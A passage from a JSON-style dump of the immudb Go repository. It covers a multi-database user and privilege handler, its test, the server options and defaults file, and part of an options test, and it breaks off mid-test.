[]*schema.Permission, database string) *schema.Permission {\n\tfor _, perm := range permissions {\n\t\tif perm.Database == database {\n\t\t\treturn perm\n\t\t}\n\t}\n\treturn nil\n}\n\ntype User struct {\n\tusername      string\n\tperm          sql.Permission\n\tsqlPrivileges []sql.SQLPrivilege\n}\n\nfunc (usr *User) Username() string {\n\treturn usr.username\n}\n\nfunc (usr *User) Permission() sql.Permission {\n\treturn usr.perm\n}\n\nfunc (usr *User) SQLPrivileges() []sql.SQLPrivilege {\n\treturn usr.sqlPrivileges\n}\n\nfunc permCode(permission sql.Permission) uint32 {\n\tswitch permission {\n\tcase sql.PermissionReadOnly:\n\t\t{\n\t\t\treturn 1\n\t\t}\n\tcase sql.PermissionReadWrite:\n\t\t{\n\t\t\treturn 2\n\t\t}\n\tcase sql.PermissionAdmin:\n\t\t{\n\t\t\treturn 254\n\t\t}\n\t}\n\treturn 0\n}\n\nfunc (h *multidbHandler) CreateUser(ctx context.Context, username, password string, permission sql.Permission) error {\n\tdb, err := h.s.getDBFromCtx(ctx, \"CreateUser\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = h.s.CreateUser(ctx, &schema.CreateUserRequest{\n\t\tUser:       []byte(username),\n\t\tPassword:   []byte(password),\n\t\tDatabase:   db.GetName(),\n\t\tPermission: permCode(permission),\n\t})\n\n\treturn err\n}\n\nfunc (h *multidbHandler) AlterUser(ctx context.Context, username, password string, permission sql.Permission) error {\n\t_, user, err := h.s.getLoggedInUserdataFromCtx(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdb, err := h.s.getDBFromCtx(ctx, \"ChangePassword\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = h.s.SetActiveUser(ctx, &schema.SetActiveUserRequest{\n\t\tUsername: username,\n\t\tActive:   true,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = h.s.ChangePassword(ctx, &schema.ChangePasswordRequest{\n\t\tUser:        []byte(username),\n\t\tOldPassword: []byte(user.HashedPassword),\n\t\tNewPassword: []byte(password),\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t_, err = h.s.ChangePermission(ctx, &schema.ChangePermissionRequest{\n\t\tUsername:   username,\n\t\tDatabase:   db.GetName(),\n\t\tAction:     schema.PermissionAction_GRANT,\n\t\tPermission: permCode(permission),\n\t})\n\treturn err\n}\n\nfunc (h *multidbHandler) GrantSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error {\n\treturn h.changeSQLPrivileges(ctx, database, username, privileges, schema.PermissionAction_GRANT)\n}\n\nfunc (h *multidbHandler) RevokeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege) error {\n\treturn h.changeSQLPrivileges(ctx, database, username, privileges, schema.PermissionAction_REVOKE)\n}\n\nfunc (h *multidbHandler) changeSQLPrivileges(ctx context.Context, database, username string, privileges []sql.SQLPrivilege, action schema.PermissionAction) error {\n\tps := make([]string, len(privileges))\n\tfor i, p := range privileges {\n\t\tps[i] = string(p)\n\t}\n\n\t_, err := h.s.ChangeSQLPrivileges(ctx, &schema.ChangeSQLPrivilegesRequest{\n\t\tAction:     action,\n\t\tUsername:   username,\n\t\tDatabase:   database,\n\t\tPrivileges: ps,\n\t})\n\treturn err\n}\n\nfunc (h *multidbHandler) DropUser(ctx context.Context, username string) error {\n\t_, err := h.s.SetActiveUser(ctx, &schema.SetActiveUserRequest{\n\t\tUsername: username,\n\t\tActive:   false,\n\t})\n\treturn err\n}\n\nfunc (h *multidbHandler) ExecPreparedStmts(\n\tctx context.Context,\n\topts *sql.TxOptions,\n\tstmts []sql.SQLStmt,\n\tparams map[string]interface{},\n) (ntx *sql.SQLTx, committedTxs []*sql.SQLTx, err error) {\n\n\tdb, err := h.s.getDBFromCtx(ctx, \"SQLExec\")\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\ttx, err := db.NewSQLTx(ctx, opts)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn db.SQLExecPrepared(ctx, tx, stmts, params)\n}\n"
  },
  {
    "path": "pkg/server/multidb_handler_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"context\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestServerMultidbHandler(t *testing.T) {\n\tdir := t.TempDir()\n\n\tserverOptions := DefaultOptions().\n\t\tWithDir(dir).\n\t\tWithMetricsServer(false).\n\t\tWithAdminPassword(auth.SysAdminPassword)\n\n\ts, closer := testServer(serverOptions)\n\tdefer closer()\n\n\ts.Initialize()\n\n\tr := &schema.LoginRequest{\n\t\tUser:     []byte(auth.SysAdminUsername),\n\t\tPassword: []byte(auth.SysAdminPassword),\n\t}\n\t_, err := s.Login(context.Background(), r)\n\trequire.NoError(t, err)\n\n\tmultidbHandler := &multidbHandler{s: s}\n\n\terr = multidbHandler.UseDatabase(context.Background(), \"defaultdb\")\n\trequire.Error(t, err)\n\n\t_, err = multidbHandler.ListDatabases(context.Background())\n\trequire.Error(t, err)\n\n\t_, err = multidbHandler.ListUsers(context.Background())\n\trequire.Error(t, err)\n\n\terr = multidbHandler.CreateUser(context.Background(), \"user1\", \"user1Password!\", \"READ\")\n\trequire.Error(t, err)\n\n\terr = multidbHandler.AlterUser(context.Background(), \"user1\", \"user1Password!\", \"READWRITE\")\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "pkg/server/options.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\t\"github.com/codenotary/immudb/pkg/replication\"\n\t\"github.com/codenotary/immudb/pkg/server/sessions\"\n\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\n\t\"github.com/codenotary/immudb/pkg/auth\"\n)\n\nconst SystemDBName = \"systemdb\"\nconst DefaultDBName = \"defaultdb\"\n\n// Options server options list\ntype Options struct {\n\tDir                         string\n\tNetwork                     string\n\tAddress                     string\n\tPort                        int\n\tConfig                      string\n\tPidfile                     string\n\tLogDir                      string\n\tLogfile                     string\n\tLogAccess                   bool\n\tLogRotationSize             int\n\tLogRotationAge              time.Duration\n\tAutoCert                    bool\n\tTLSConfig                   *tls.Config\n\tauth                        bool\n\tMaxRecvMsgSize              int\n\tMaxResultSize               int\n\tNoHistograms                bool\n\tDetached                    bool\n\tMetricsServer               bool\n\tMetricsServerPort           int\n\tWebServer                   bool\n\tWebServerPort               int\n\tDevMode                     bool\n\tAdminPassword               string `json:\"-\"`\n\tForceAdminPassword          bool\n\tsystemAdminDBName           string\n\tdefaultDBName               string\n\tlistener                    net.Listener\n\tusingCustomListener         bool\n\tmaintenance                 bool\n\tSigningKey                  string\n\tsynced                      bool\n\tRemoteStorageOptions        *RemoteStorageOptions\n\tStreamChunkSize             int\n\tTokenExpiryTimeMin          int\n\tPgsqlServer                 bool\n\tPgsqlServerPort             int\n\tReplicationOptions          *ReplicationOptions\n\tSessionsOptions             *sessions.Options\n\tPProf                       bool\n\tLogFormat                   string\n\tGRPCReflectionServerEnabled bool\n\tSwaggerUIEnabled            bool\n\tLogRequestMetadata          bool\n\tMaxActiveDatabases          int\n}\n\ntype RemoteStorageOptions struct {\n\tS3Storage               bool\n\tS3RoleEnabled           bool\n\tS3Role                  string\n\tS3Endpoint              string\n\tS3AccessKeyID           string\n\tS3SecretKey             string `json:\"-\"`\n\tS3BucketName            string\n\tS3Location              string\n\tS3PathPrefix            string\n\tS3ExternalIdentifier    bool\n\tS3InstanceMetadataURL   string\n\tS3UseFargateCredentials bool\n}\n\ntype ReplicationOptions struct {\n\tIsReplica                    bool\n\tSyncReplication              bool\n\tSyncAcks                     int    // only if !IsReplica && SyncReplication\n\tPrimaryHost                  string // only if IsReplica\n\tPrimaryPort                  int    // only if IsReplica\n\tPrimaryUsername              string // only if IsReplica\n\tPrimaryPassword              string // only if IsReplica\n\tPrefetchTxBufferSize         int    // only if IsReplica\n\tReplicationCommitConcurrency int    // only if IsReplica\n\tAllowTxDiscarding            bool   // only if IsReplica\n\tSkipIntegrityCheck           bool   // only if IsReplica\n\tWaitForIndexing              bool   // only if IsReplica\n}\n\n// DefaultOptions returns default server options\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tDir:                         \"./data\",\n\t\tNetwork:                     \"tcp\",\n\t\tAddress:                     \"0.0.0.0\",\n\t\tPort:                        3322,\n\t\tConfig:                      \"configs/immudb.toml\",\n\t\tPidfile:                     \"\",\n\t\tLogfile:                     \"\",\n\t\tAutoCert:                    false,\n\t\tTLSConfig:                   nil,\n\t\tauth:                        true,\n\t\tMaxRecvMsgSize:              1024 * 1024 * 32, // 32Mb\n\t\tMaxResultSize:               database.MaxKeyScanLimit,\n\t\tNoHistograms:                false,\n\t\tDetached:                    false,\n\t\tMetricsServer:               true,\n\t\tMetricsServerPort:           9497,\n\t\tWebServer:                   true,\n\t\tWebServerPort:               8080,\n\t\tDevMode:                     false,\n\t\tAdminPassword:               auth.SysAdminPassword,\n\t\tForceAdminPassword:          false,\n\t\tsystemAdminDBName:           SystemDBName,\n\t\tdefaultDBName:               DefaultDBName,\n\t\tusingCustomListener:         false,\n\t\tmaintenance:                 false,\n\t\tsynced:                      true,\n\t\tRemoteStorageOptions:        DefaultRemoteStorageOptions(),\n\t\tStreamChunkSize:             stream.DefaultChunkSize,\n\t\tTokenExpiryTimeMin:          1440,\n\t\tPgsqlServer:                 false,\n\t\tPgsqlServerPort:             5432,\n\t\tReplicationOptions:          DefaultReplicationOptions(),\n\t\tSessionsOptions:             sessions.DefaultOptions(),\n\t\tPProf:                       false,\n\t\tGRPCReflectionServerEnabled: true,\n\t\tSwaggerUIEnabled:            true,\n\t\tLogRequestMetadata:          false,\n\t\tLogDir:                      \"immulog\",\n\t\tLogAccess:                   false,\n\t\tMaxActiveDatabases:          100,\n\t}\n}\n\nfunc DefaultRemoteStorageOptions() *RemoteStorageOptions {\n\treturn &RemoteStorageOptions{\n\t\tS3Storage: false,\n\t}\n}\n\nfunc DefaultReplicationOptions() *ReplicationOptions {\n\treturn &ReplicationOptions{\n\t\tIsReplica:                    false,\n\t\tSyncAcks:                     0,\n\t\tPrefetchTxBufferSize:         replication.DefaultPrefetchTxBufferSize,\n\t\tReplicationCommitConcurrency: replication.DefaultReplicationCommitConcurrency,\n\t}\n}\n\n// WithDir sets dir\nfunc (o *Options) WithDir(dir string) *Options {\n\to.Dir = dir\n\treturn o\n}\n\n// WithNetwork sets network\nfunc (o *Options) WithNetwork(network string) *Options {\n\to.Network = network\n\treturn o\n}\n\n// WithAddress sets address\nfunc (o *Options) WithAddress(address string) *Options {\n\to.Address = address\n\treturn o\n}\n\n// WithPort sets port\nfunc (o *Options) WithPort(port int) *Options {\n\to.Port = port\n\treturn o\n}\n\n// WithConfig sets config file name\nfunc (o *Options) WithConfig(config string) *Options {\n\to.Config = config\n\treturn o\n}\n\n// WithPidfile sets pid file\nfunc (o *Options) WithPidfile(pidfile string) *Options {\n\to.Pidfile = pidfile\n\treturn o\n}\n\n// WithLogDir sets LogDir\nfunc (o *Options) WithLogDir(dir string) *Options {\n\to.LogDir = dir\n\treturn o\n}\n\n// WithLogfile sets logfile\nfunc (o *Options) WithLogfile(logfile string) *Options {\n\to.Logfile = logfile\n\treturn o\n}\n\n// WithLogRotationSize sets the log rotation size\nfunc (o *Options) WithLogRotationSize(size int) *Options {\n\to.LogRotationSize = size\n\treturn o\n}\n\n// WithLogRotationAge sets the log rotation age\nfunc (o *Options) WithLogRotationAge(age time.Duration) *Options {\n\to.LogRotationAge = age\n\treturn o\n}\n\n// WithLogAccess sets the log rotation age\nfunc (o *Options) WithLogAccess(enabled bool) *Options {\n\to.LogAccess = enabled\n\treturn o\n}\n\nfunc (o *Options) WithLogFormat(logFormat string) *Options {\n\to.LogFormat = logFormat\n\treturn o\n}\n\n// WithTLS sets tls config\nfunc (o *Options) WithTLS(tls *tls.Config) *Options {\n\to.TLSConfig = tls\n\treturn o\n}\n\n// WithAuth sets auth\n// Deprecated: WithAuth will be removed in future release\nfunc (o *Options) WithAuth(authEnabled bool) *Options {\n\to.auth = authEnabled\n\treturn o\n}\n\nfunc (o *Options) WithMaxRecvMsgSize(maxRecvMsgSize int) *Options {\n\to.MaxRecvMsgSize = maxRecvMsgSize\n\treturn o\n}\n\n// WithMaxResultSize sets the maximum number of results returned by any unary rpc method\nfunc (o *Options) WithMaxResultSize(maxResultSize int) *Options {\n\to.MaxResultSize = maxResultSize\n\treturn o\n}\n\n// GetAuth gets auth\n// Deprecated: GetAuth will be removed in future release\nfunc (o *Options) GetAuth() bool {\n\treturn o.auth\n}\n\n// WithNoHistograms disables collection of histograms metrics (e.g. query durations)\nfunc (o *Options) WithNoHistograms(noHistograms bool) *Options {\n\to.NoHistograms = noHistograms\n\treturn o\n}\n\n// WithDetached sets immudb to be run in background\nfunc (o *Options) WithDetached(detached bool) *Options {\n\to.Detached = detached\n\treturn o\n}\n\n// Bind returns bind address\nfunc (o *Options) Bind() string {\n\treturn o.Address + \":\" + strconv.Itoa(o.Port)\n}\n\n// MetricsBind return metrics bind address\nfunc (o *Options) MetricsBind() string {\n\treturn o.Address + \":\" + strconv.Itoa(o.MetricsServerPort)\n}\n\n// WebBind return bind address for the Web API/console\nfunc (o *Options) WebBind() string {\n\treturn o.Address + \":\" + strconv.Itoa(o.WebServerPort)\n}\n\n// IsJSONLogger returns if the log format is json\nfunc (o *Options) IsJSONLogger() bool {\n\treturn o.LogFormat == logger.LogFormatJSON\n}\n\n// IsFileLogger returns if the log format is to a file\nfunc (o *Options) IsFileLogger() bool {\n\treturn o.Logfile != \"\"\n}\n\n// String print options\nfunc (o *Options) String() string {\n\trightPad := func(k string, v interface{}) string {\n\t\treturn fmt.Sprintf(\"%-17s: %v\", k, v)\n\t}\n\topts := make([]string, 0, 17)\n\topts = append(opts, \"================ Config ================\")\n\topts = append(opts, rightPad(\"Data dir\", o.Dir))\n\topts = append(opts, rightPad(\"Address\", fmt.Sprintf(\"%s:%d\", o.Address, o.Port)))\n\n\tif o.MetricsServer {\n\t\topts = append(opts, rightPad(\"Metrics address\", fmt.Sprintf(\"%s:%d/metrics\", o.Address, o.MetricsServerPort)))\n\t\tif o.PProf {\n\t\t\topts = append(opts, rightPad(\"pprof enabled\", \"true\"))\n\t\t}\n\t}\n\n\trepOpts := o.ReplicationOptions\n\tsyncReplication := repOpts != nil && repOpts.SyncReplication\n\tisReplica := repOpts != nil && repOpts.IsReplica\n\n\topts = append(opts, rightPad(\"Sync replication\", syncReplication))\n\n\tif syncReplication && !isReplica {\n\t\topts = append(opts, rightPad(\"Sync acks\", repOpts.SyncAcks))\n\t}\n\n\tif isReplica {\n\t\topts = append(opts, rightPad(\"Replica of\", fmt.Sprintf(\"%s:%d\", repOpts.PrimaryHost, repOpts.PrimaryPort)))\n\t}\n\n\tif o.Config != \"\" {\n\t\topts = append(opts, rightPad(\"Config file\", o.Config))\n\t}\n\tif o.Pidfile != \"\" {\n\t\topts = append(opts, rightPad(\"PID file\", o.Pidfile))\n\t}\n\tif o.Logfile != \"\" {\n\t\topts = append(opts, rightPad(\"Log file\", o.Logfile))\n\t}\n\tif o.LogFormat != \"\" {\n\t\topts = append(opts, rightPad(\"Log format\", o.LogFormat))\n\t}\n\topts = append(opts, rightPad(\"Max recv msg size\", o.MaxRecvMsgSize))\n\topts = append(opts, rightPad(\"Auth enabled\", o.auth))\n\topts = append(opts, rightPad(\"Dev mode\", o.DevMode))\n\topts = append(opts, rightPad(\"Default database\", o.defaultDBName))\n\topts = append(opts, rightPad(\"Maintenance mode\", o.maintenance))\n\topts = append(opts, rightPad(\"Synced mode\", o.synced))\n\tif o.SigningKey != \"\" {\n\t\topts = append(opts, rightPad(\"Signing key\", o.SigningKey))\n\t}\n\tif o.RemoteStorageOptions.S3Storage {\n\t\topts = append(opts, \"S3 storage\")\n\t\tif o.RemoteStorageOptions.S3RoleEnabled {\n\t\t\topts = append(opts, rightPad(\"   role auth\", o.RemoteStorageOptions.S3RoleEnabled))\n\t\t\tif o.RemoteStorageOptions.S3UseFargateCredentials {\n\t\t\t\topts = append(opts, rightPad(\"   fargate creds\", o.RemoteStorageOptions.S3UseFargateCredentials))\n\t\t\t} else {\n\t\t\t\topts = append(opts, rightPad(\"   role name\", o.RemoteStorageOptions.S3Role))\n\t\t\t}\n\t\t}\n\t\topts = append(opts, rightPad(\"   endpoint\", o.RemoteStorageOptions.S3Endpoint))\n\t\topts = append(opts, rightPad(\"   bucket name\", o.RemoteStorageOptions.S3BucketName))\n\t\tif o.RemoteStorageOptions.S3Location != \"\" {\n\t\t\topts = append(opts, rightPad(\"   location\", o.RemoteStorageOptions.S3Location))\n\t\t}\n\t\topts = append(opts, rightPad(\"   prefix\", o.RemoteStorageOptions.S3PathPrefix))\n\t\topts = append(opts, rightPad(\"   external id\", o.RemoteStorageOptions.S3ExternalIdentifier))\n\t\tif !o.RemoteStorageOptions.S3UseFargateCredentials {\n\t\t  opts = append(opts, rightPad(\"   metadata url\", o.RemoteStorageOptions.S3InstanceMetadataURL))\n\t\t}\n\t}\n\tif o.AdminPassword == auth.SysAdminPassword {\n\t\topts = append(opts, \"----------------------------------------\")\n\t\topts = append(opts, \"Superadmin default credentials\")\n\t\topts = append(opts, rightPad(\"   Username\", auth.SysAdminUsername))\n\t\topts = append(opts, rightPad(\"   Password\", auth.SysAdminPassword))\n\t}\n\topts = append(opts, \"========================================\")\n\treturn strings.Join(opts, \"\\n\")\n}\n\n// WithMetricsServer ...\nfunc (o *Options) WithMetricsServer(metricsServer bool) *Options {\n\to.MetricsServer = metricsServer\n\treturn o\n}\n\n// MetricsPort set Prometheus end-point port\nfunc (o *Options) WithMetricsServerPort(port int) *Options {\n\to.MetricsServerPort = port\n\treturn o\n}\n\n// WithWebServer ...\nfunc (o *Options) WithWebServer(webServer bool) *Options {\n\to.WebServer = webServer\n\treturn o\n}\n\n// WithWebServerPort ...\nfunc (o *Options) WithWebServerPort(port int) *Options {\n\to.WebServerPort = port\n\treturn o\n}\n\n// WithDevMode ...\nfunc (o *Options) WithDevMode(devMode bool) *Options {\n\to.DevMode = devMode\n\treturn o\n}\n\n// WithAdminPassword ...\nfunc (o *Options) WithAdminPassword(adminPassword string) *Options {\n\to.AdminPassword = adminPassword\n\treturn o\n}\n\n// WithForceAdminPassword ...\nfunc (o *Options) WithForceAdminPassword(forceAdminPassword bool) *Options {\n\to.ForceAdminPassword = forceAdminPassword\n\treturn o\n}\n\n// GetSystemAdminDBName returns the System database name\nfunc (o *Options) GetSystemAdminDBName() string {\n\treturn o.systemAdminDBName\n}\n\n// GetDefaultDBName returns the default database name\nfunc (o *Options) GetDefaultDBName() string {\n\treturn o.defaultDBName\n}\n\n// WithListener used usually to pass a bufered listener for testing purposes\nfunc (o *Options) WithListener(lis net.Listener) *Options {\n\to.listener = lis\n\to.usingCustomListener = true\n\treturn o\n}\n\n// WithMaintenance sets maintenance mode\nfunc (o *Options) WithMaintenance(m bool) *Options {\n\to.maintenance = m\n\treturn o\n}\n\n// GetMaintenance gets maintenance mode\nfunc (o *Options) GetMaintenance() bool {\n\treturn o.maintenance\n}\n\n// WithSynced sets synced mode\nfunc (o *Options) WithSynced(synced bool) *Options {\n\to.synced = synced\n\treturn o\n}\n\n// GetSynced gets synced mode\nfunc (o *Options) GetSynced() bool {\n\treturn o.synced\n}\n\n// WithSigningKey sets signature private key\nfunc (o *Options) WithSigningKey(signingKey string) *Options {\n\to.SigningKey = signingKey\n\treturn o\n}\n\n// WithStreamChunkSize set the chunk size\nfunc (o *Options) WithStreamChunkSize(streamChunkSize int) *Options {\n\to.StreamChunkSize = streamChunkSize\n\treturn o\n}\n\n// WithTokenExpiryTime set authentication token expiration time in minutes\nfunc (o *Options) WithTokenExpiryTime(tokenExpiryTimeMin int) *Options {\n\to.TokenExpiryTimeMin = tokenExpiryTimeMin\n\treturn o\n}\n\n// PgsqlServerPort enable or disable pgsql server\nfunc (o *Options) WithPgsqlServer(enable bool) *Options {\n\to.PgsqlServer = enable\n\treturn o\n}\n\n// PgsqlServerPort sets pgdsql server port\nfunc (o *Options) WithPgsqlServerPort(port int) *Options {\n\to.PgsqlServerPort = port\n\treturn o\n}\n\nfunc (o *Options) WithRemoteStorageOptions(remoteStorageOptions *RemoteStorageOptions) *Options {\n\to.RemoteStorageOptions = remoteStorageOptions\n\treturn o\n}\n\nfunc (o *Options) WithReplicationOptions(replicationOptions *ReplicationOptions) *Options {\n\to.ReplicationOptions = replicationOptions\n\treturn o\n}\n\nfunc (o *Options) WithSessionOptions(options *sessions.Options) *Options {\n\to.SessionsOptions = options\n\treturn o\n}\n\nfunc (o *Options) WithPProf(pprof bool) *Options {\n\to.PProf = pprof\n\treturn o\n}\n\nfunc (o *Options) WithGRPCReflectionServerEnabled(enabled bool) *Options {\n\to.GRPCReflectionServerEnabled = enabled\n\treturn o\n}\n\nfunc (o *Options) WithSwaggerUIEnabled(enabled bool) *Options {\n\to.SwaggerUIEnabled = enabled\n\treturn o\n}\n\nfunc (o *Options) WithLogRequestMetadata(enabled bool) *Options {\n\to.LogRequestMetadata = enabled\n\treturn o\n}\n\nfunc (o *Options) WithMaxActiveDatabases(n int) *Options {\n\to.MaxActiveDatabases = n\n\treturn o\n}\n\n// RemoteStorageOptions\n\nfunc (opts *RemoteStorageOptions) WithS3Storage(S3Storage bool) *RemoteStorageOptions {\n\topts.S3Storage = S3Storage\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3RoleEnabled(S3RoleEnabled bool) *RemoteStorageOptions {\n\topts.S3RoleEnabled = S3RoleEnabled\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3Role(S3Role string) *RemoteStorageOptions {\n\topts.S3Role = S3Role\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3Endpoint(s3Endpoint string) *RemoteStorageOptions {\n\topts.S3Endpoint = s3Endpoint\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3AccessKeyID(s3AccessKeyID string) *RemoteStorageOptions {\n\topts.S3AccessKeyID = s3AccessKeyID\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3SecretKey(s3SecretKey string) *RemoteStorageOptions {\n\topts.S3SecretKey = s3SecretKey\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3BucketName(s3BucketName string) *RemoteStorageOptions {\n\topts.S3BucketName = s3BucketName\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3Location(s3Location string) *RemoteStorageOptions {\n\topts.S3Location = s3Location\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3PathPrefix(s3PathPrefix string) *RemoteStorageOptions {\n\topts.S3PathPrefix = s3PathPrefix\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3ExternalIdentifier(s3ExternalIdentifier bool) *RemoteStorageOptions {\n\topts.S3ExternalIdentifier = s3ExternalIdentifier\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3InstanceMetadataURL(url string) *RemoteStorageOptions {\n\topts.S3InstanceMetadataURL = url\n\treturn opts\n}\n\nfunc (opts *RemoteStorageOptions) WithS3UseFargateCredentials(s3UseFargateCredentials bool) *RemoteStorageOptions {\n\topts.S3UseFargateCredentials = s3UseFargateCredentials\n\treturn opts\n}\n\n// ReplicationOptions\n\nfunc (opts *ReplicationOptions) WithIsReplica(isReplica bool) *ReplicationOptions {\n\topts.IsReplica = isReplica\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithSyncReplication(syncReplication bool) *ReplicationOptions {\n\topts.SyncReplication = syncReplication\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithSyncAcks(syncAcks int) *ReplicationOptions {\n\topts.SyncAcks = syncAcks\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithPrimaryHost(primaryHost string) *ReplicationOptions {\n\topts.PrimaryHost = primaryHost\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithPrimaryPort(primaryPort int) *ReplicationOptions {\n\topts.PrimaryPort = primaryPort\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithPrimaryUsername(primaryUsername string) *ReplicationOptions {\n\topts.PrimaryUsername = primaryUsername\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithPrimaryPassword(primaryPassword string) *ReplicationOptions {\n\topts.PrimaryPassword = primaryPassword\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithPrefetchTxBufferSize(prefetchTxBufferSize int) *ReplicationOptions {\n\topts.PrefetchTxBufferSize = prefetchTxBufferSize\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithReplicationCommitConcurrency(replicationCommitConcurrency int) *ReplicationOptions {\n\topts.ReplicationCommitConcurrency = replicationCommitConcurrency\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithAllowTxDiscarding(allowTxDiscarding bool) *ReplicationOptions {\n\topts.AllowTxDiscarding = allowTxDiscarding\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithSkipIntegrityCheck(skipIntegrityCheck bool) *ReplicationOptions {\n\topts.SkipIntegrityCheck = skipIntegrityCheck\n\treturn opts\n}\n\nfunc (opts *ReplicationOptions) WithWaitForIndexing(waitForIndexingç bool) *ReplicationOptions {\n\topts.WaitForIndexing = waitForIndexingç\n\treturn opts\n}\n"
  },
  {
    "path": "pkg/server/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage server\n\nimport (\n\t\"crypto/tls\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/auth\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOptions(t *testing.T) {\n\top := DefaultOptions()\n\tif op.GetAuth() != true ||\n\t\top.GetMaintenance() != false ||\n\t\top.GetDefaultDBName() != DefaultDBName ||\n\t\top.GetSystemAdminDBName() != SystemDBName ||\n\t\top.Detached != false ||\n\t\top.DevMode != false ||\n\t\top.NoHistograms != false ||\n\t\top.AdminPassword != auth.SysAdminPassword ||\n\t\top.ForceAdminPassword != false ||\n\t\top.Address != \"0.0.0.0\" ||\n\t\top.Network != \"tcp\" ||\n\t\top.Port != 3322 ||\n\t\top.MetricsServer != true ||\n\t\top.MetricsServerPort != 9497 ||\n\t\top.Config != \"configs/immudb.toml\" ||\n\t\top.Pidfile != \"\" ||\n\t\top.StreamChunkSize != stream.DefaultChunkSize ||\n\t\top.Logfile != \"\" ||\n\t\top.WebServer != true ||\n\t\top.WebServerPort != 8080 ||\n\t\top.WebBind() != \"0.0.0.0:8080\" ||\n\t\top.MetricsBind() != \"0.0.0.0:9497\" ||\n\t\top.PgsqlServer ||\n\t\top.PgsqlServerPort != 5432 ||\n\t\top.PProf != false ||\n\t\top.IsFileLogger() != false ||\n\t\top.IsJSONLogger() != false {\n\t\tt.Errorf(\"database default options mismatch\")\n\t}\n}\n\nfunc TestReplicationOptions(t *testing.T) {\n\trepOpts := &ReplicationOptions{}\n\trepOpts.\n\t\tWithIsReplica(true).\n\t\tWithSyncReplication(false).\n\t\tWithSyncAcks(0).\n\t\tWithPrimaryHost(\"localhost\").\n\t\tWithPrimaryPort(3322).\n\t\tWithPrimaryUsername(\"primary-user\").\n\t\tWithPrimaryPassword(\"primary-pwd\").\n\t\tWithPrefetchTxBufferSize(100).\n\t\tWithReplicationCommitConcurrency(5).\n\t\tWithAllowTxDiscarding(true).\n\t\tWithSkipIntegrityCheck(true).\n\t\tWithWaitForIndexing(true)\n\n\trequire.True(t, repOpts.IsReplica)\n\trequire.False(t, repOpts.SyncReplication)\n\trequire.Zero(t, repOpts.SyncAcks)\n\trequire.Equal(t, \"localhost\", repOpts.PrimaryHost)\n\trequire.Equal(t, 3322, repOpts.PrimaryPort)\n\trequire.Equal(t, \"primary-user\", repOpts.PrimaryUsername)\n\trequire.Equal(t, \"primary-pwd\", repOpts.PrimaryPassword)\n\trequire.Equal(t, 100, 